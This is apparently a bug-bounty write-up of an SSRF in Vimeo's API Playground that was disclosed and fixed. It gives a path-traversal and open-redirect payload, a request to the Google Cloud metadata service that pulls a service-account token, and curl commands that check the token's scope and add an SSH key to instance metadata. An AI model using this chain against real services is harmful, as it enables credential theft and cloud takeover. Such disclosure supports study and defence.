Vimeo SSRF with code execution potential.

Recently i discovered a semi responded SSRF on Vimeo with code execution possibility. This blog post explains how i found & exploited it. So lets get started.

Background.

Vimeo provides an API console for their API called API Playground, The requests made using this web app is done from server side. Take the bellow request as an example.

Base request

This request is supposed to make a server side GET request to

https://api.vimeo.com/users/{user_id}/videos/{video_id}

If you look closely to the request we control quite of things here, First the uri parameter which is the endpoint to hit on endpoint i.e. in this case is /users/{user_id}/videos/{video_id} , Request method i.e. in this case is set to GET , params which are supposed to be post parameters if the request method is POST. user_id & video_id are kind of variables whose values gets defined in segments parameter.

Path traversal in HTTP requests made on server side.

I first tried to change URI parameter to my custom path however any change in URI will result into a 403, Means that they’re allowing set of API endpoints. However changing the value of variables such as user_id & videos_id is possible because they’re intentional and because this values reflect in the path of URL. Passing ../../../ will result in a request to ROOT of api.vimeo.com
Bellow is what happens.

URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)

Result : https://api.vimeo.com/attacker

Path traversal in HTTP requests made on server side

As you can see in response all endpoints of api.vimeo.com is listed which is root response of api.vimeo.com if you make an authenticated request (with authorization header) .

What now? We’re still on api.vimeo.com host, how do we escape it?

Well i figured that this is following HTTP 30X redirects, Its a long story took some a bit logical thinking.

Back to the point, Now i know this is following HTTP redirects and we’re good to move forward, We need an open redirect so that we can redirect server to our controlled asset.

The good old content discovery…

A minute of content discovery and i came across an endpoint on api.vimeo.com which makes a redirection to vimeo.com with our controlled path on vimeo.com

https://api.vimeo.com/m/something
api.vimeo.com to vimeo.com

Cool, Now we have a wide scope to find an open redirect, I have a not very useful open redirect on vimeo.com , I wont be disclosing its details but lets just assume it is something like this

https://vimeo/vulnerable/open/redirect?url=https://attacker.com

This makes a 302 redirect to attacker.com,

Chain completed to redirect to attacker asset..

The final payload to redirect the server to our controlled asset is

../../../m/vulnerable/open/redirect?url=https://attacker.com

Passing this value inside video_id will parse URL in this way

https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com

Which on parsing becomes

https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com

HTTP redirection made & followed to

https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com

Another HTTP redirection made & followed to

https://attacker.com
SSRF Achieved, Redacted details regarding the open redirect and my domain.

The server expects a JSON response and parses it and shows in response.

Exploiting..

As Vimeo infrastructure is on Google cloud, My first attempt was to hit the Google metadata API. I followed the approach taken by André Baptista (0xacb)

This endpoint gives us service account token.

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
{ “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }

Scope of token

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  
Response:
{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }

I could then use this token to add my public SSH key to instance and then connect via my private key

$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}

Response:
{ “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}

And…

keys added
*Le me

However SSH port was open on internal network only :(( but this was enough to proof that internally this can be escalated to shell access.

Kubernetes keys were also extracted from metadata API, but for some reason i was not able to use them, Although Vimeo team did confirm they were valid.

Due to my work & involvement with Vimeo, I was allowed to go deeper than would normally have been allowed.

That’s it folks. I hope you liked this. Share/Re-Tweet is much appreciated, Have any questions regarding this? DM @ rootxharsh

Thanks to;

Vimeo team for allowing disclosure of this issue.

Andre (0xacb) for his awesome report

Brett (bbuerhaus) for his write up about this SSRF (He and Ben have some lit AF writeups)

Timeline

28th Jan early morning : Initial discovery.

28th Jan : Triaged by HackerOne team

28th Jan : Vimeo team rewarded initial $100 and pushed temporary fix.

30th/31st Jan : Permanent fix pushed

1st Feb : $4900 rewarded.